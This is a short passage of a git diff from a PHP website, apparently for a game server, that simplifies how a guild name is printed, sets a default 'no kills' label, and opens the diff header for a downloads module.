',false); return false\"> $guildm[0] ";
+$guild_end = " $guildm[0] ";
}
if($info[12]==NULL || $info[12]==" "){$info[12] = mmw_lang_no_kills;}
diff --git a/modules/downloads.php b/modules/downloads.php
index c440838..24ba6b3 100644
--- a/modules/downloads.php
+++ b/modules/downloads.php
@@ -1,12 +1,15 @@